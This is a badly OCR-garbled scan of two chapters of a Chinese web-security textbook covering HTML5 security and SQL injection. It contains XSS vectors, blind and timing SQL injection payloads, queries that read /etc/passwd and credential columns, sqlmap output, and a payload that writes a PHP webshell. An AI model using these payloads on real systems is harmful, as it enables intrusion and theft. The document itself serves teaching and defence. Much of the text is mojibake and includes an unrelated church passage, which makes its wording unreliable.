¥ AL REE AT 2B 18 ClickJacking, X677 2 A FRATHRAL T 0 2 ik +.
5.7 NS

AT T Fofree i B J5 e ClickJacking.

ClickJacking #HXT- XSS 5 CSRF ki, KIATTEFMH P 500~ A8 HAT A, Pk
it SOk (R A T i, AE G IEEE P LE A L. {H ClickJacking 76 A KA SR v RE Bl Mot 2 R
R RVERIT S ARBAETT I, ANATAEE.



HTML 5 J& W3C #il5E %48 HTML 1 5 1AsdE . XAFRHEILEIS e AW AE o, H2
TR )R A O T AR W SRR S HT I D e . B HTML 5 FLE RS A A R — Bt
B, AR TSR O TSR 0 ThaE, BTl HTML S (52m U W, mT AT 3,
RS HIMAIER, HTML 5 244 MM A R 5. HTML 5 77K TRiThfe, ik 78
12 A Bkl o

AFRE A HTML 5 (128 D e KT e RN 2 4zl . A728T)REdE HTML 5 AnifE,
EB AT JHT N,

6.1 HTML 5 FFrS

6.1.1 HFHR&EHRI XSS
HTML 5 5 CTARZ Brbecs Braifh, A7l R IORT i) XSS Beitio

—46 XSS Filter #1 R T — AN AL HK1E, WA GE AN 75 81 HTML S BB [ An 25 A1
Dhae, MmjlEs kA XSS.

BB NG 2 AE T R IO — R, A2 HTML 5 HOBrig i) <video>#ras, XAMbR%E
A LAAE R R R 28— Bei il 5 <video>FrA BB I AT <audio>h5aE, HIT-mAeindk—B
B

Mk
<video src="http://tinyvid.tv/file/29d6g90a2041il.ogg"

onloadedmetadata="alert (document.cookie) ;" ondurationchanged="alert (/XSS2/);"
ontimeupdate="alert (/XSS1/);" tabindex="0"></video>

S T E EEAS R XSS Filter:
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KRES TS

Securlty just lik3 a girl. BOth of tham hdve s0rme hOles. YOu akwdys try to find the hOle, but nOt 3very ti
m  wE AN | AR | R | EEPLL

TERE
XSS Test
2009-03-13 20:45 T N I ] T P

BDUSS RV'SUX qMSlWUx*lSNUp e A qwi e v MMME_MM@'\;_;UE':[X\-_’sbG
BDSP a528’f1b2faeeebs4df = - L = - e = = aQOfﬁDSTSSda_QTTSBIZ'bSIbb
S, old~8|fsﬂwn5qa. —— = E—— = e e —

== = === === _ '_

HEAS ) XSS

HEE] http://hi. baidu. com [N @ GEEEIT = = = E I sl
@ EBATDVLD=SFCSALSTEE01B2E = = = == 566454 0 d52dba2 ch39dba2 £

HTML 5 ot (f)—Sehr s g vk, {75 XSS 25 Web Ml =4 T #0484k, b T 45X
SeARAY,, T E ST T HTML5 Security Cheatsheet' 5 H , 1 F fizR:

Have a look at the eye-friendly HTMLS version (http:/'htmlSsec.orq/) of the cheat sheet showing the vectors and the detailed
descriptions as well as clicktosee examples and more

eform id="test"s ¢/ Forms chutton form="test" formaction="javascript:alert{l)"sx
.will be stored in JSOM like this:

I /* I[; 1 - x55 \ma formaction - requiring user interaction ¥/

categor‘y htm'l 5'
' name B
'en' : 'WSS wia formaction - requiring user interaction'
T
dat i 'oform id="test" /scbutton form="test" formaction="¥js_uri_alert®'s:x',

descmptmn
: A wector displaying the HTMLS for ...side the actwal form.'

T
‘tickets' 8 [Og
" howtof i B
‘en' @ 'Domy't allow users to submit markup ... forms as well as submit buttons.'
browsers'

e
‘opera’: ['10.5']

'1’:ags‘ : ['wss', ‘htmls', 'ff', 'gc'],
‘reporter’ : amario’

eI H A AFSY HTML 5 24 f 5 E8AEH .

6.1.2 iframe BYJ sandbox

<iframe>br2E— F LLRE M AT . 5. XSS, ClickJacking %5 W i h #RRER ' A
K55 BN AR T R — AR AR I R iframe PAAT BIAS RSP, LU 255 % 10 U5 e 257 B
PLK IE H [P)<iframe>br28 SCHF security J& 2 FRBIMIA AT, H#BAE A X — HARSS D).

E HTML 5 1, &1 iframe & X T —HiJEYE, 1Y sandbox. fifiH] sandbox 1X—A~J&E Pk
i, <iframe>HRZE AR KN BB R — DL “VE” QR STE S % “RIEHRIE”, Hp
HIEIACKE AR AT, PR AE EERAT, R AR b g, $i5 ) At i) WX S Bt S Ak k.

1 http://code.google.com/p/html5security
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sandbox J& P P LA S HOR SCRE SR IS A BUR JLAMIE AT L& %
O allow-same-origin: oV YU ) ;

O allow-top-navigation: fEVFV5 a2 % 11

O allow-forms: FVFFEATL H

O allow-scripts: SCEFHATIHIA .

AIE AT A RIE & E T allow-scripts, AN RVFHY, Hobn “sfHis m 7,

—A iframe [ SEHIUNT

<iframe sandbox="allow-same-origin allow-forms allow-scripts"
src="http://maps.example.com/embedded.html"></1iframe>

ZICEEM], iframe ) sandbox J& PEFs Bl Hb 3 53 N FH AT iframe 12241

6.1.3 Link Types: noreferrer
& HTML 5 H fy<a>br%s fll<area>br% & L T —/MHi) Link Types: noreferrer,

B B, BRZEFRE T noreferrer f&, WIS ETE K iZARE TR € B HLAE OB A R 1%

Referer.

<a href="xxx" rel="noreferrer" >test</a>

XA TR U BAEEFAR B . POl Referer, T RESS SR

XA bR ZE T BT R T2 i N 2 5O bR 25, X AT /5 SR AR 2 R DL £ A A

noreferrer.

6.1.4 Canvas By%) A

Canvas AJ LA HTML 5 i KIEIHTZ —o AFRF<img>ta2s Hogm s mik—ME A,
<canvas>Pr% il JavaScript ] LATE JUII T HERAE R A X 4, n] LR R, s E
X3, Canvas M H IR KPR AR 748 & % 5 imddi A A7, JF k&4 LU Canvas 75
A i R A V1 8

TR E AN R L) Canvas [

<!DOCTYPE HTML>
<html>
<body>

<canvas id="myCanvas" width="200" height="100" style="border:lpx solid #c3c3c3;">
Your browser does not support the canvas element.
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</canvas>

<script type="text/javascript">

var c=document.getElementById ("myCanvas") ;
var cxt=c.getContext ("2d");
cxt.fillStyle="#FF0000";

cxt.fillRect (0,0,150,75);

</script>

</body>
</html>

{E3CHF Canvas R aAS B, Fofizzth— & .

TECHF Canvas [ B8 A2 R
FELUR AR, JT IR S R <canvas>HR%% .
IE 7.0+
Firefox 3.0+

Safari 3.0+

O

O

©)

O Chrome 3.0+
O Opera 10.0+

O iPhone 1.0+

O Android 1.0+

Dive Into HTMLS* {RIFHIA 24T Canvas %34 HTML 5 ({4

Canvas $EHE1) 5K DI RE, P4 0] LUHSRBE#SIEND . Shaun Friedle 5 T > GreaseMonkey
FIRIAS, @R JavaScript #:4F Canvas HIAEAME R 5, Bahih A3 T Megaupload 2
HEFI SRR o

2 http://diveintohtml5.info/canvas.html

3 http://userscripts.org/scripts/review/38736
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DD GWL MWQ

Megaupload % iiF 75
HORBGE RN .
TG, KK Canvas, FFREATHA

function convert grey(image data) {
for (var x = 0; x < image data.width; x++){
for (var y = 0; y < image data.height; y++) {

var i = x*4+y*4*image data.width;

var luma = Math.floor (image data.data[i] * 299/1000 +
image data.data[i+l] * 587/1000 +
image data.data[i+2] * 114/1000);

image data.data[i] = luma;

image data.data[i+1l] = luma;

image data.data[i+2] = luma;

image data.data[i+3] = 255;

P EIAFITRE, AR, B = AN PR T AR .

filter (image data[0], 105);
filter (image dataf[l], 120);
filter (image data[2], 135);

function filter (image data, colour) {
for (var x = 0; x < image data.width; x++) {
for (var y = 0; y < image data.height; y++){
var i = x*4+y*4*image data.width;
// Turn all the pixels of the certain colour to white

if (image data.data[i] == colour) {
image data.data[i] = 255;
image data.data[i+1l] = 255;
1

image data.data[i+2] = 255;
// Everything else to black
} else {
image data.data[i] =
image data.data[i+1]
image data.data[i+2]

}

||
o o
~ o~

7R NTE SRR B K, IS S e

var i = x*4+y*4*image data.width;
var above = x*4+(y-1)*4*image data.width;
var below = x*4+ (y+1)*4*image data.width;

if (image data.data[i] == 255 &&
image data.data[above] == 0 &&
image data.data[below] == 0) {

image data.data[i] = 0;
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image data.data[i+1]
image data.data[i+2]
}

I
o
.~

PR g R E il

cropped canvas.getContext ("2d").fillRect (0, 0, 20, 25);

var edges = find edges (image datal[i]);

cropped canvas.getContext ("2d") .drawImage (canvas, edges[0], edges[1l],
edges([2]-edges[0], edges[3]-edges[l], 0, O,
edges([2]-edges[0], edges[3]-edges[l]);

image data[i] = cropped canvas.getContext ("2d").getImageData (0, O,
cropped canvas.width, cropped canvas.height);

SERE ) SEI AT LA S 2 [ SC R P 4 21 (1) UserSeripts AU .
TEMCEERL b, VR L R Reas iR — Lo o S R i R R, Bt

C @ hereconethelizards. co.uk/mu_captcha/

HNP6

- D £

Result: hnpd
g AR

Mt Canvas HENMARKAERY, fRKMGFARZ AT LR ST 383050 S BUAE L, ROKR%
& 7 BT . HTML 5 A0 25 LU 1 i, A2 0l g

6.2 HithZ=o@:

6.2.1 Cross—Origin Resource Sharing

P 4% S A [R5 EmE - (Same Origin Policy) BRI T JAIAS R BT Sk o H ELIEC I ) %
o BAGBTTTAT, DR RS 7 il PO 7 SR AR A R A T o RIS SRS 47 Web JT A Aok 14K
ZINPL, A IAIARE T BEE LB — 48 “ 557 ISR, HItiE E T jsonp. iframe #54K
HEH

W3C Z 2P g e —ANFr bR e R AR we H 2530 U) R 5 3 15 ) o) S0 S AN T PRI B VB R
R,

R http://www.a.com/testhtml K — 53] XMLHttpRequest i 3K, 15K ATHLELE A «
http://www.b.com/test.php.

4 http://www.w3.org/TR/cors/
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<script>
var client = new XMLHttpRequest();
client.open ("GET", "http://www.b.com/test.php");
client.onreadystatechange = function() { }
client.send (null) ;

</script>

MR IE S 1, WFEE(FH XDomainRequest K SIS 15 3K o

var request = new XDomainRequest () ;
request.open ("GET", xdomainurl);
request.send() ;

AR S5 28 www.b.com J2[8]—4> HTTP Header:

Access-Control-Allow-Origin: http://www.a.com

RS G 2
<?php
header ("Access-Control-Allow-Origin: *");

?>
Cross Domain Request Test!

M2IXAKE  http://www.a.com/test.html [¥ 15 35017 =K il 2 il il

TEIXAN SRS, http:/www.a.com/test.html K& (1155 KL 247 I-—A> Origin Header:

Origin: http://www.a.com

WA, A, COom wm. b, com

test, html Origin test. php

becessControl-Allow—Origin

W B SR A Uy 1) I R

1 Firefox I, ] LI #rix Al e

GET http://www.b.com/test.php HTTP/1.1
Host: www.b.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b2) Gecko/20081201

Firefox/3.1b2 Paros/3.2.13

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;g=0.5

Accept-Charset: gb2312,utf-8;9=0.7,*;9=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://www.a.com/test.html

Origin: http://www.a.com

Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Thu, 15 Jan 2009 06:28:54 GMT
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Server: Apache/2.0.63 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Access-Control-Allow-Origin: *
Content-Length: 28

Content-Type: text/html

Cross Domain Request Test!

Origin Header FT#ricd HTTP KM “U”, s v R0 30 W 4% B 80w XA
Origin Header, &AW bEa% i R2 ok B —MGEM “U8”. Origin Header 1] LA T-Pjie
CSRF, ‘EANMG Referer B4 75 5 #0518 aliiE =

fE LR H] 5, IS5tk (el

Access-Control-Allow-Origin: *

NI SRV P i (5 380 SRl I o AEIX AR Tl BCAT “*”, e faln, ek i
Sk B AT Bt 1 s B SR Uy Il BT . X8 Flash SEE&H ) allow-access-from: *—Ff, 2T
A AT 22 A R 31

X FIXANEE ST 0] (AR HE, IEHVFZ HTTP Header R LA T-HEAT SRS 14576«

Syntax

Access-Control-Allow-Origin HTTP Response Header
Access-Control-Max-Age HTTP Response Header
Access-Control-Allow-Credentials HTTP Response Header
Access-Control-Allow-Methods HTTP Response Header
Access-Control-Allow-Headers HTTP Response Header
Origin HTTP Request Header
Access-Control-Request-Method HTTP Request Header
Access-Control-Request-Headers HTTP Request Header

AT NEEE W L AAT S W3C 1 bR,

L e . T > T S S S o
O J o U Ww N

6.2.2 postMessage—EH OFIHEEHE

1E “ B AT —wh, BB window.name KIS & L BSIERAL 6 (E R SEBR
., window XA G LF AN [ SRS PR, AR 22 AT A T b A ] T window X 52
X R

76 HTML 5 ', 4 75 Web JF RS, HlE T— B APL: postMessage. 7t Firefox 3.
IE 8. Opera 9 554, #F L& TF46 3 FriX 4> APL.

postMessage .VF&— window (BFELAIE D, BMHE M. iframes ) XS HARK
HORECAHE, NTsKIEE D RHEEAE. XNEERAZ RIVR SRS BRI .

John Resig F Firefox 3 N5 T —/ N LU 7~ postMessage A H 2o

RILE I

<iframe src="http://dev.jquery.com/~john/message/" id="iframe"></iframe>
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<form id="form">
<input type="text" id="msg" value="Message to send"/>
<input type="submit"/>

</form>
<script>
window.onload = function () {
var win = document.getElementById("iframe") .contentWindow;
document.getElementById ("form") .onsubmit = function (e) {
win.postMessage ( document.getElementById ("msg") .value );
e.preventDefault () ;
}i
}i
</script>
e

<b>This iframe is located on dev.jquery.com</b>

<div id="test">Send me a message!</div>

<script>

document.addEventListener ("message", function (e) {
document.getElementById ("test") .textContent =

e.domain + " said: " + e.data;
}, false);
</script>

TEIEAEFrp, R H R T RIRTH L AR E b, F2EEE A message FF,
MW FL A AR B . RPN E D2 —A “ZuE”, WEREAT WX A~Fi4k, e
PRGNS

ZEAE ] postMessage(), A3 AN 224 1)l 7 ZEE o

(1) B, W LIEBRE 50 UE Domain, $£Z560F URL, AR 1Fk 1 AR 01 R)H
Ko IXSEPR TR AEARS h SEBL - IR SRS R R I R

OLEARG T, I SN textContent, {HAESLBr M, 41K ES N innerHTML,
FEREHBEN script 1, WTHES FE DOM based XSS (17, R “Secure By Default” Ji
W, AR A NAZAS AR B AT L, TR S0 BT 2 A A .

] postMessage, 23 {fi XSS Payload 22135 iR 7% . Gareth Heyes 8 £ SEHld—1A
JavaScript IZ1T A1) sandbox, R LG —A iframe, ¥ JavaScript FR T H A AT H
EH AR, R postMessage() 455 I AIXTH R, 1 LASER I sandbox . ZABLIK) i) 78

AR A AE T HABN I

6.2.3 Web Storage

7t Web Storage HILZHI, Gmail RN EIIREEMIL Google Gears SEHL . HEHH
Google Gears [ K47, Gmail 4% #% Web Storage )41, HHi Google £k 2 [ ih 4k Lt U1 Gmail\
Google Docs %5 AT I ¥ 25 26 X Vi T RE, #BdTH T Web Storage.

J A4 EAT Web Storage We ? it 2 /E 3 Va8 HLRE APt (5 B A LU JLFE:
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O Cookie
O Flash Shared Object
O IE UserData

Hrf, Cookie FZEH TRAF G S ABUEFI D 5A5 E, KK RSP E T A nT Gefe
Cookie 7 K £ 155 & o 1T Flash Shared Object Al IE UserData ]/ Adobe 5%k H CL I ThRE,
TEARBA AN IIARAE. I W3C 22 Do A SR 20 P i AT MR 9t KR T {58 ) A b

y

Pt DIRE, X H/2 Web Storage.

Web Storage 434 Session Storage I Local Storage. Session Storage <13l a5 il 2 KR4,
I Local Storage Wll<x—FAF{E. Web Storage & MG RME A, H Key-Value X411, 7]
PLIEE JavaScript Xf HiE47445E . H A Firefox 3 fl IE 8 #RSLIL T Web Storage. i fH 741 F:

O WH —MH: window.sessionStorage.setltem(key, value);
O BEHL—AMHE: window.sessionStorage.getltem(key);

AN, Firefox iEFSEHL T —A globalStorage, ‘& &%& T SQLite SZHLH .

window.globalStorage.namedItem (domain) .setItem(key, value);

XM T2 T Web Storage HIAEH]

<div id="sessionStorage_show">
sessionStorage Value:
</div>
<br>
<div id="localStorage show">
localStorage Value:
</div>
<input id="set" type="button" value='"check" onclick="set () ;">
<script>
function set () {
window.sessionStorage.setItem("test", "this is sessionStorage");
if (window.globalStorage) {
window.globalStorage.namedItem ("a.com") .setItem("test", "this is LocalStorage") ;
telse(
window.localStorage.setItem("test", "this is LocalStorage");
}
document.getElementById ("sessionStorage show") .innerHTML +=
window.sessionStorage.getItem("test");
if (window.globalStorage) {
document.getElementById("localStorage show").innerHTML +=
window.globalStorage.namedItem("a.com") .getItem("test");
}else{
document.getElementById("localStorage show") .innerHTML +=
window.localStorage.getItem("test") ;
}
}
set ()
</script>
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IBATERU T

“http://a. com/test? htal - Findows Internet Explorer

= |g. http:ffa. com/test? html
| e EwEE@ ERW WEEE IED FEo
T ERE @ hiep: /e con/test2 hinl | |

sessionStorage Value: this is sessionStoragze

localStorage Value: this is LocalStorage
check |

DA L

Web Storage 052 2I[FYEHME I LIA,  REMERFTHIA 6E R RS RAFAE A I, Wk
1

<body>

<script>

if (document.domain == "www.a.com") {
window.localStorage.setItem("test",123);

}

alert (window.localStorage.getItem("test"));

</script>

</body>

SEATLE R

' http: f/www_ a comftest himl - Windows Internet Explorer

| itE &EE FEQW WER@ ITE@ FRho
S0 WERSE  (hhetp:/fwww. & contest htnl | |

= Ig. httpr/Swww. o com/ test himl

B localStorage

MIRARE I, R

Chttp:/fwww_.b.comftest himl - Tindows Internet Explore:

@::;1 L J Ig‘ http:/fwww. b.ocom/test. hinl

| ZtE HEE ZHEE WEEe IB@ Fow
o7 W thtp:fﬁwww.b. comf test. htnl

5 I TGV AR localStorage
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Web Storage 1: Web JF & BN RG24, &R KIIREH A XSS Payload KIT T2 17T,
Yok 247 v HERG S = AR R A7 7E Web Storage H1, M 177 SEELES L Bt o

4 Web Storage (AT RIS LN, AT ELHON Bt bR, 1T XSS Heali o BA5g i
it

LR, Web Storage £HGBHE TR AL, SILEN, WHERBABE 1
LA

6.3 ING

HTML 5 J& B IR AR IR F Pl . B4R B TE 542 3% SO AR I B 208, HREAE X
WA T IR LBk 2 1) HTML 5 Thig, Bubimmthbaz 4 7 Hi et . Boi 7wl s i
HTML 5 Hr ) — 2k, Skggid— LR SN SR B 77 %8BI Ee “Fa” mxoh,
DAZRT i HTML 5 F) 7 5 THi T -

XFTHTML 5 K, AER S BRI LI S db e i vr o SEpR, PRIORSR HTML 5 405 6 3
iz, ARATRES A AR B LR I,



i — /s

)
e~

0z 55 2 Siia o FH 22 4

FTE FEANWE

E8E XHLERE

F9E NESLIEEE
F10E  laRE

FNE MBEEESHEILK
B12EF Web ERZ S
F13E NAREHRSHE
B14E PHP %%

% 1532 Web Server EEZ %



w1
SEAI T

Ll

TEABLdE Web 224Uk rp— g 3 WL e 73 A “ B at IIAS e 7 — 2 rp i 22 42
Fd, XSS A AL —FERT HTML B ARt e “ R eI —#d, 2l
T A AR RN —— “Hli S & s, R DBUR T T TR A T A o

TEANZCHT AT, A A SR S A AT . X RATR AN KRB, B REH
PREBIEFIBAN; B oAREARFEITOAN, SETRIPBARSEE. A4S, i)
ST LR WL E AT, DAL B IR .

7.1 SQLEA

FEA R, SQLIEAX TIHRE KU, Pz HZGETE T o 1M SQL A —ICh A A%,
JETE 1998 41135 4 H K i (Phrack )55 54 b, — (740 ofp FIRRE KK T —RAA“NT Web
Technology Vulnerabilities” '] 3 # .

FESCE, IR AR T XRS5 . e A SQL VA S 1
var Shipcity;

ShipCity = Request.form ("ShipCity");
var sgl = "select * from OrdersTable where ShipCity = '" + ShipCity + "'"

Azt ShipCity MME A 8228, EIEF DL R, B 4 “Beijing”, 4 SQL K]
ST
SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing’

BB G FH P N — B v XK SQL iy, Ehtul:
Beijing'; drop table OrdersTable--

W2, SQL I AJESLFR AT I 2 i T -

SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing';drop table OrdersTable--'

1 http://www.phrack.org/issues.html?issue=54&id=8#article
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FAVER, BARERSITEWRIE A, BN T ER5E)E, AT A drop RH#HAE,
(IRt S (PP EUAN AP SRV =e € I EAE S

013 S R B AN B 1A 5 F
(1) Mg i A A ——EX B, ) RENE A % ShipCity .
(2) JEAZERATHANS, PHE TR

var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'"
A “PHET IERARE R, IER XA YRR R S BT AU .

7E SQL VEAKERE S, WUR MG Web k55 as T )0 T8RRI, )2 4 Mo F fe ok
R, BB AP A — ARG 7, SIERITE WG A RIEER R, RS H
R[] TR R
Microsoft JET Database Engine %Hi% '80040e14'

PR HREER R fEARRIAX r1D=49" " .
/showdetail.asp, 178

MEGAT R T LU, RS IR Access 1R MR, A WA A DA ARSI AT AT BE
T
select xxx from table X where id = $id

A R T IBURE R, T RGhAEOR YL, I SQL TR TE AT Ay LAST AR 0N T
T

7.1.1 HiE ( Blind Injection )
{HAR Z Ik, Web IR45 28 ] T8 R B1E , XISt In2 sl 92t SQL 4 N Muiks 11 2
Betig o 7 N IE SO, W0 T “HiE” (Blind Injection) 457175 .

FTil “BYEE” , WUt E RS AR A R B R e S E AN . RS AR R R, R
TRl R Bk T AR B RGBS, PR LA SN TSR IAIETE A SQL
WA RIAT .

Fo LR VR IR UE T V0 R T SR (0 4 P ) MR AR R T 5 R AR AR K, SR I SQL
WA RIAT .

tetn, — AW URL Gk
http://newspaper.com/items.php?id=2

PATH SQL A A«

SELECT title, description, body FROM items WHERE ID = 2
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WUER B 3 an N A )
http://newspaper.com/items.php?id=2 and 1=2
SEFRHAT I SQL 1Ak 2578 e
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
K24 “and 1=27 K& —MEAnE, Frblix4c SQL i) “and” 4K ICIERAL . )

T Web NHPRUL, WASKEEAGRFIGHI, BB 2100 DRSS RGO 2 o 2 A A
VT -

J T BN AN R EAEAE, B H R L RIS R X A R S b P A
WA IR, AEVGRE R SRR, BT RE S SRR NN TE R . Bl E ks id
IR

http://newspaper.com/items.php?id=2 and 1=1

HUhFE WIS “and 1=17 I, WORGUHERRM T, B SQL iEA) K “and” HiL)
PAT, AL “id” S87AE SQL HNJRI T .

FERXA Bl R b, g% 2 ARG T ARl i, (F R Mok & 3l ] S R 2 A0 T, TR0t
e TR 25 i 22, k] LLAIBT S SQL ¥ NI R AA AT o IX A B Ve 1) AR IR .
ENE

Wi SN AE “and 1=17, MRASEFIRIFIER GO0, XA “and” ¥ )L,

& - T

Fin ot Yww daplory fokmenc Jock bk
M' [ S Pt e chare o ral e et phplidsl and LzL L E ]

F Lissligia. = Dex wrial aSCH Chant

a

_'L*

£ A of 8

God's ready to do "a new thing,' but is your church?

Tomy Morpan is pastor of admimistrative services o Granger
| Commurmity Chuarch,

As aleader, do vou find rourseliin resction mede? Are you
responding to peeple, problems, and yeur ministry envireonment. or
are you trying to develop & misiery strategy thae will hilp your
church move in a new direction so that it has a growing impact oo
Peaples livest

God promised usin Lsaish that he has s new path planned for cur
‘orges the former things; de not dwell an the pas. See, 1.am
springs up; de pou net parcalva 7 T am maling a way In the
wanteland” (Tsaiah 43190

The challeage of sharing Christ with this posimedern woeld seems sveruheming ar

times, o do we bring the message of truth to a seciety that runs from people who have
T e - TS
Wartng for s charchombaloom..

I

RN A 45 B R BT i

FHIANSAE “and 1227, SQL iBRHATH, B 1=2 FKIEA AT HE NI, Pl SQL AL
VRIR A1 30 R A
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bl it Yww Pipiory Gookmes ok bk
9 = © X A N s harchomtal comsarcie.phptidz | and L2 || o P& - E—l

A Chawch Contral - Ratiche = Decwnad A5CT Chant x .

B A o 8

* Going Gutside the Church Walls
I ® Dlanwing Tor Big Success with Smal

Sign In to post comments. Be the first to post a comment for this story

Start your FAEE site membershi
hers

UTENTE A ST T B B A v B E Ay 7%
F SR 7 B W s ] A7

7.1.2 Timing Attack

2011 %53 H 27 H, —A%W TinKode HJHEZAF 42 122 4814513 Full Disclosure 2y
AT — Lt N2 mysql.com FT3RAGHIAN T . IXIRANRFA:, B2 E—A SQL i ARG .
MySQL & 4 A7 i AT s 4 2 —

P R HIA XA H AR XA DO -

€ > C i |© mysql.com/customers/view/index.html?id=1170
[CIxPBooster []S&D [ ] Electronics []security [Jtax [Imaths [ ]MSC []BSC []mobiletest [ Jturnitin [ ]gar

R Recommended Servers for MySQL
MySQOL.

" MySQL.com

The world's most popular open source database

Downloads (GA) Customer Login

Home  Products  Services  Partners  CUStOMers  Why MySQL?  News & Events  How to Buy

— MySQL Customer: Cinnober

Customer Overview

E Cinnober
Case Studies
VIEW BY: Industries
Industry » Financial Services
Country o Interview
Embedded » Interview with Peter Kazinczy, Vice President Sales at Cinnober Financial Systems
Data Warehouse Cinnober Web Site

» www.cinnober.com
MySQL Cluster

Migrated Database

Operating System

mysql.com £ 7E I 14 0L (i
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WA ZH I P, RS ARR R BRI 5 B EANSEAAAE AR Bl “ 5
w7 I, BRI AETEA LW “and 1227 REERHFEN. EXEBEHT “HiE”
HI—AN:15: Timing Attack, KA Wik (A7 AE

£ MySQL ', 5/ BENCHMARK() 4, ‘&M T WK E kg efa MmN

BENCHMARK (count, expr)

BREFATINEE R, 2 RIA expr AT count IR ELUI:

mysql>

e S e e e e e e S S S m e e +
| BENCHMARK (1000000, ENCODE ('hello', "goodbye"')) |
B e +
\ 0 |
R +

1 row in set (4.74 sec)

L ENCODE('hello','goodbye)HHAT T 1000000 &, F:HIF 4.74 75,

Kk, FF BENCHMARKOQEH, 7] PALFE—ANMREHATE TR, 7555 FIR A
PSP B I R AR AL, AT LA HE NGB R R B PAT B o X0 —Fhil {73 o,
XA AR H P AM R Timing Attack.

Ve B 4 N R B St A2 A H Timing Attack 580X IR B, Xie— s B A 2 .
Eb an eyt (R M 248 id o

1170 UNION SELECT IF (SUBSTRING (current,1,1) =
CHAR(119) ,BENCHMARK (5000000, ENCODE ( 'MSG', 'by 5 seconds')),null) FROM (Select Database ()
as current) as tbl;

5291 Payload W % 15— A7 RHETS 4 CHAR(119), BI/NE ) wo G0 Sk &5 5 4 2,
2538k BENCHMARK () B £ A RE R s G SRANH I, WNZTE APRHAR AT 58 o Briki 5
i Fﬁﬁ%l L BR A 2 44 A e e R 1L

LREL e arama PR s R SV 2 A A S

database () - the name of the database currently connected to.

system user () - the system user for the database.

current user () - the current user who is logged in to the database.

last insert id() - the transaction ID of the last insert operation on the database.

WY ZEH 7 Courrent_user) HATERRE, HE4 XBiti i v] LOKAE 8BS NAH G AL
Ho LB N Web HgHr, Mok & AT vl fig R 80X LA

1170 Union All SELECT table name, table type, engine FROM information schema.tables WHERE

table schema = 'mysqgl’ ORDER BY table name DESC INTO OUTFILE
'/path/location/on/server/www/schema.txt'
Ak, dlid Dump SCHFRTYE, IR LB AN webshell:

1170 UNION SELECT "<? system($7REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE
"/var/www/html/temp/c.php" --



BT OEABE 157

Timing Attack J& 5 VE F) M R E T« 2EAN R 8t PE b, #4745 28487 BENCHMARK()
IR AL, W LABE Timing Attack Al H

BENCHMARK(10000000,md5(1))
or SLEEP(5)

PG_SLEEP(5)

PostgresQL or GENERATE_SERIES(1,1000000)

MS SQL Server WAITFOR DELAY ‘0:0:5

S SRABLAR pR A, nT DA D S 0l P AR 1 T M

7.2 FHIBEWERIS

3 SQL VENUH, NS — M FdR. B8l — R oe S, AV 2 FH5 T 2.
FEARN T, BAE— L ELFREMER SQL AT TS TR Ty, i+ R A EfE SQL
FEAN BT R

SQL HE A IE T AR Rl o R B P 2R Tl R R
PR ISR, SQL HE AR A BT AT

721 BERHOXEHFIG

SQL v N AT LASS i H Hcks e it I A, bR 4D R T IX B Payload, 415 MySQL FRRAE 4,
<R [B] TRUE:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

NTHIX Bt Payload, WJ/EAJH union select K73 HHiiA K % admin &G AEA4E, %14 passwd
AT

id=5 union all select 1,2,3 from admin
id=5 union all select 1,2,passwd from admin

W2, MR username Al password FARMPIE, #] DUEE AWK FFTEH, —P0
Bk

id=5 and ascii(substring((select concat (username,0x3a,passwd) from users limit
0,1),1,1))>64 /*ret true)*/

id=5 and ascii(substring((select concat (username,0x3a,passwd) from users limit
0,1),1,1))>96 /*ret true*/

id=5 and ascii (substring((select concat (username,0x3a,passwd) from users limit
0,1),1,1))>100 /*ret false*/

id=5 and ascii(substring((select concat (username,0x3a,passwd) from users limit
0,1),1,1))>97 /*ret falsex*/
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id=5 and ascii (substring((select concat (username,0x3a,passwd) from users limit
0,1),2,1))>64 /*ret truex/

XA FRARH B, B AR R AT 2 B A B 3 A TR R B g AN IR
sqlmap.py s — AN I A S LTEA T A

$ python sqlmap.py —u “http://192. 168. 136. 131/ =qlmap/firebird/get_int. php?id=1" -—dump -T users=
[...]

Databaze: Firebird maszterdb

Table: TSERS

[4 entries]

| ID | NAME | SURNAME

|
| luther | bliszzet |
|

|1
| 2 | fluffy | burmy
|3 | w | ming
| 4

| HULL | nameizmmll |

sqlmap.py FIB g e

NS PR T, o B — 23S SO TS . B andE MySQL o, i nT LU ik
LOAD FILE()BZHU RS, H3lid INTO DUMPFILE 5 A A H SO o 48R3 B8 5K 24 Jiy B e
H P EE RGAH N SCAFEH SRR .

.. union select 1,1, LOAD FILE('/etc/passwd'),1,1;

DR BRSO A, RIS R e, AT DA N XA S :

CREATE TABLE potatoes (line BLOB) ;
UNION SELECT 1,1, HEX(LOAD FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;

XY R P A R IR . el LOAD FILEO)¥ R4 bk, i
i INTO DUMPFILE ¥ Z XA B ARG H, R/ LOAD DATA INFILE ¥ 304 S AN G H
F, Ha il LUE S — N B H R R T .

B 7 mf LI ] INTO DUMPFILE 4%, &0 LI INTO OUTFILE, M3 X 5 &
DUMPFILE & ] T —#khsctt, 2k H hzﬁc B AE—4TW;: 1l OUTFILE W 583 TS0 A
L

GASIETS, &R TS H—A Webshell, R it — S8t i, Fibde
BEVH U P22 4% T7 28Ny, n] DA b8 0 22 A P 2L A4 A SO IR R

7.2.2 #w<HIT

£ MySQL ', B& 7 AT LUl L G webshell [A1#E 0T v 440, ERTAFIA “FAP BEX
HE” KFT5, B UDF (User-Defined Functions) 34T ﬁﬁéo

2 http://sqlmap.sourceforge.net
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LERAT IR, — AR SR A SO R g b 5 N — NSO A e k.
i FH 40~ iEvER] BLEI & UDF:

CREATE FUNCTION f name RETURNS INTEGER SONAME shared library

£ MySQL 4 Ik 55 %% I, Marco Ivaldi 234 J 81~ ARHS, FTLLEE UDF 9047 R G8hr 4.
